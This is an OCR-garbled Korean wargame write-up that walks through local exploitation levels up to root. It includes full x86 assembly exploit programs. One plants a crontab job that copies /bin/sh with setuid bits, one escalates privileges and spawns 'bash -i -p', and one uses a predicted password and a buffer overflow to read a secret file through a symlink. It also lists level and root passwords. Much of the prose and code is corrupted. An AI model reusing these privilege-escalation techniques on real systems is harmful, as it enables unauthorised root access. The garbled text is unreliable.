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0Ox01. How to Remote Attack?
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<?

if(1$table)
$table = "level_one"; /| H A, $table B=I} unset 01H, "level one"& =E&LICH

if(strncmp($table, "level_one", 9)) // "level_one" 2l LHE0| Y=X &QISHLICH
Il &, 9byte Bt2 27| M0l $table Bl & 220 "level_one"E SHFH 38
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$result = @mysqgl_query("select * from $table", $conn); // select &
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* Local bypassl~bypass5 NAl SWEM AIERE code (euid->egid)

## Local getuid & getgid (crontab) exploit
#

## How to exploit?

#

# ex)



# bash$ gcc -0 0x82-xp 0x82-xp.s
# ... GET euid, eqgid ...

# bash$ gcc -0 0x82-uid 0x82-uid.s && ./0x82-uid
# ... Real User ID! ...

#

# by Xpl017Elz

#

.globl main

#

main:

#

pushl %ebp

mov! %esp,%ebp

subl $108,%esp

# getuid

call geteuid

movl %eax,%eax

movl %eax,-104(%ebp) # int i=getuid;
#

pushl $100

pushl $0

leal -100(%ebp),%eax # r_buf
pushl %eax

# memset

call memset

#

mov! -104(%ebp),%eax # i;
pushl %eax

movl -104(%ebp),%eax # i;
pushl %eax

# setreuid

call setreuid

#

##--- cron open ---##

#

pushl $stw

pushl $stestcr

# fopen

call fopen

movl %eax,%eax

movl %eax,-108(%ebp) # FILE *fp;
cmpl $0,-108(%ebp)

jne fff2

pushl $fperr

# perror

call perror

pushl $-1

# exit

call exit

#

fff2:

#

pushl $hexec # "/tmp/hehe/execuid”
pushl $cronjob # "*/1 * * * * 0ps\n",
movl -108(%ebp),%eax # fp,
pushl %eax # fprintf



# fprintf

call fprintf

mov! -108(%ebp),%eax
pushl %eax

# fclose

call fclose

#

##--- cron close ---##

#

##--- execute ---##

#

pushl $stw

pushl $hexec

# fopen

call fopen

movl %eax,%eax

mov! %eax,-108(%ebp)
cmpl $0,-108(%ebp)

jne fff3

pushl $fperr

# perror

call perror

pushl $-1

# exit

call exit

#

fff3:

#

movl -104(%ebp),%eax
pushl %eax # i

pushl $hehedir # "/tmp/hehe",
pushl $copysh # "cp /bin/sh %s%d;",
movl -108(%ebp),%eax # fp,
pushl %eax

# fprintf

call fprintf

#

movl -104(%ebp),%eax
pushl %eax # i,

pushl $hehedir # "/tmp/hehe",
pushl $ch6755fi # “chmod 6755 %s%d\n",
movl -108(%ebp),%eax # fp
pushl %eax

# fprintf

call fprintf

#

movl -108(%ebp),%eax
pushl %eax

# fclose

call fclose

pushl $493

pushl $hexec

# chmod

call chmod

#

##--- execute end ---##



#

##--- cron set ---##

#

pushl $crtestcr # "crontab /tmp/hehe/testcr"
# system

call system

pushl $banrl

movl stdout,%eax
pushl %eax

# fprintf

call fprintf

movl -104(%ebp),%eax
pushl %eax

pushl $jmpuid

mov! stdout,%eax
pushl %eax

# fprintf

call fprintf

pushl $30

# sleep

call sleep

#

##--- cron set end ---##
#

##--- ended ---##

#

pushl $stestcr

# unlink

call unlink

pushl $hexec

# unlink

call unlink

pushl $stestcr0

# system

call system

pushl $stestcrl

movl stdout,%eax
pushl %eax

# fprintf

call fprintf

movl -104(%ebp),%eax
pushl %eax # i

pushl $hehedir # "/tmp/hehe/",
pushl $stestcr2 #"Is -al %s%d",
pushl $100 # 100,

leal -100(%ebp),%eax
pushl %eax # r_buf,

# snprintf

call snprintf

leal -100(%ebp),%eax
pushl %eax

# system

call system

#

#job clean.

#



fff1:

leave

ret

#

HHHHHHHHH - Strings ---HHHHHEHHHEHHE
#

stw:

.string "w"

## CRON_FILE

stestcr:

.string "/tmp/hehe/testcr”

#

fperr:

.string "fopen error"

## EXEC_PR

hexec:

.string "/tmp/hehe/execuid”

## CRON JOB

cronjob:

.string "*/1 * * * * 9ps\n"

## DF_DIR

hehedir:

.string "/tmp/hehe/"

#

copysh:

.string "cp /bin/sh %s%d;"

#

ch6755fi:

.string "chmod 6755 %s%d\n"

#

crtestcr:

.string "crontab /tmp/hehe/testcr”

##t Jump uid print !

jmpuid:

.string "Jump uid: %d ... Wait, 1 Minute.\n"
#

stestcrO:

.string "crontab -r"

## Success !

stestcrl:

.string "OK, 10I1n! x82 exploit !, x0x, kOk1lng, PrOgram !"\n"
#

stestcr2:

.string "ls -al %s%d"

banrl:

.string "\nLocal getuid & getgid (crontab) exploit\n\n"
#

- - Strings end ---#HHHHHHHHHHHHET
#

## Happy Exploit -



setreuid() &£ id2 &&8% = /jusr/bin/newgrp 2E =
ArE3HH, gid DHX EHl HetE2 &S =

* Real uid,gid H & code (euid->uid,egid->gid)

euid,egid £ 2 uid,gid 2
&&=35l geteuid() &
MZ2 shell &80t &N

2ol o= LICH

Mt uid,gid E 22 = USLICL

# euid->uid code

#

shcode:

.string "/bin/bash -i -p"
.globl main

#

main:

#

pushl %ebp

mov! %esp,%ebp
subl $4,%esp

# i=geteuid

call geteuid

movl Y%eax,%eax
movl %eax,-4(%ebp)
movl -4(%ebp),%eax
pushl %eax # i

movl -4(%ebp),%eax
pushl %eax # i

# setreuid

call setreuid

movl -4(%ebp),%eax
pushl %eax # i

movl -4(%ebp),%eax
pushl %eax # i

# setregid

call setregid

pushl $shcode # "/bin/bash -i -p"
# system

call system
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Password : XFILE

Password : GOGOGO
Password : NICEDAY
Password : DELETE
Password : YOU_ARE_COOL

Password : XFILE

=

* Local bypass6~bypass10, final 2 SHEI A2} E code.

S============= 0x82-tiny_sh code = == = <

#!/bin/sh

#

# bypass6~bypass10, and final exploit.

#

cd ~; cd .Janswer; (echo "readme”; cat) | ../solve/solve_me

0x04. final~root

final T2 )82 Admin & 21&56t=? Z2 18 ZsLICH

EHY xS OFAIZ Z2 root 2 password & 2 ESLICH 1 password = final user 2

home directory 0l secret.txt & WAH o= =T LICH

final user 2| home directory = bypass10 Ol HIEt SIEZJUAS & HOIEO0l LAUI =0

home directory 22| secret.txt L2 1K RE AKX EP:! LICt SFXI2F uid It bypassl0,
euid Jt final € &S secretixt LS 1= = A= L2401 & ELILCHL

JEXL 0 Y2 2R &I ot 22 2.
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final T2 )= exploit ol £ U SLICH

S HOIU=E 15 3TN E HI= A2z 2 LI

M AIZECIE(?), EM final user 2| password, AT LBt shell A A otX RoIESE
R Eot=E canary(?) s&LICH
Ol ISXAHE CHFAIDII| Rloll A4S RKF= L12IE5S MEUASLICH
Z2HEHS] time &8 20e|ES 240 2 2 2= M2 222 HEWFHZR.
=20l 2A0 Relgs UAEE T8 A 25U
code = Oteff 2t &SLICH
buf t[10] = "1122334455" // J}H time
for(num=0;num<210;num-++)
{
if(1(buf_tinum]%z2)) // B4 B
{
buf_tlnum]+=1;// &It +1
}
}
0l 22 debugging 22 BlwotH &EH coding & £ USLILCH
Ot asmcode E LSS ot SLILH
final user 2| password = "YOU_ARE_COOL"&!LILC}.
f4& 0l password E &St =, U2 S0l 0x01,0x02 code E &MNFH F 252 &
g2 &= JASLICH Z2AHS BHEAIIIH Jetc/hosts 2] LHE0l === LICH
"Input Admin File Name:" HIMIXIE &&8olHAM 2 B= &4 fscanf() &LIC
I stack JIEt2 Overflow Ol === Z= &0t WEE &= USLICH
final T2 )& buffer 2 244,
char file[ ] ="/etc/hosts", passwd_0102[ ], buf[ ];
passwd_0102 buffer £ Overflow A|Z|™ "/etc/hosts"E HBAIZ == UAS A LICH
secret.txt T2 0| OfLIG 2= symbolic link & S all ufo'ol LHES s = USLICH

* Local final->root & S

# final xploit.
# by x82.

#

.globl main



#

main:

pushl %ebp

mov! %esp,%ebp
subl $36,%esp

pushl %esi

pushl %ebx

pushl $0

call time # time();
movl %eax,%eax
movl %eax,-12(%ebp)
movl -12(%ebp),%eax
pushl %eax

pushl $str0

leal -32(%ebp),%eax
pushl %eax

call sprintf # sprintf()
movl $0,-4(%ebp)

#

fff2:

#

cmpl $9,-4(%ebp)

jle fff5

jmp fff3

#

fff5:

#

leal -32(%ebp),%eax
mov! -4(%ebp),%edx
movb (Yedx,%eax),%al
movb %al,%dl

andb $1,%dI

testb %dI,%dI

jne fff4

leal -32(%ebp),%eax
mov! -4(%ebp),%edx
leal -32(%ebp),%ecx
mov! %ecx,-36(%ebp)
mov! -4(%ebp),%ebx
mov! -36(%ebp),%esi
movb (Yebx,%esi),%cl
incb %cl

movb %cl,(%edx,%eax)
#

fff6:

#

fff4:

#

incl -4(%ebp)

jmp fff2

#

fff3:

#

leal -32(%ebp),%eax
pushl %eax

call atoi # atoi()



movl %eax,-8(%ebp)
movl -8(%ebp),%eax
pushl %eax

pushl $strl

call printf # printf()

pushl $str2

pushl $str3

call printf # printf()

#

fff1:

#

leal -44(%ebp),%esp

popl %ebx

popl %esi

leave

ret

#

strO:

.string "%ld"

strl:

.string "%ld\n"

str2:

.string "\001\002" # 0x01,0x02

str3:

.string "YOU_ARE_COOL%s................... /tmp/hosts\n"
#

S========—===== @QOf =============<
=5 2t

1135739391 => ol=
YOU_ARE_COOL...........ccuue /tmp/hosts

passwd_0102[ ] buffer il 252 0x01,0x02 & &2 F,"."(dot)S 0|20l offset 2 Al
cd /tmp; In -s /home/final/secret.txt tmp/hosts

0l12I15t0d, fetc/hosts £ THAIGH /tmp/hosts(secret.txt)E A= = USLICH
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bash$ 9cc Fiuq}—xP Final-xp.s && (.-Final-xp; cat) | .~Final
1655039099,

EJ quiu




>============= [home/final/secret.txt =<
=ol&LIChn

root 2| IHA R E= gpsxm@gpsxm 2 L|Ch.

8= = index.html Il 2 BHAGHH HYS S=ELICL
S============= @QOf =============<

0x05. end
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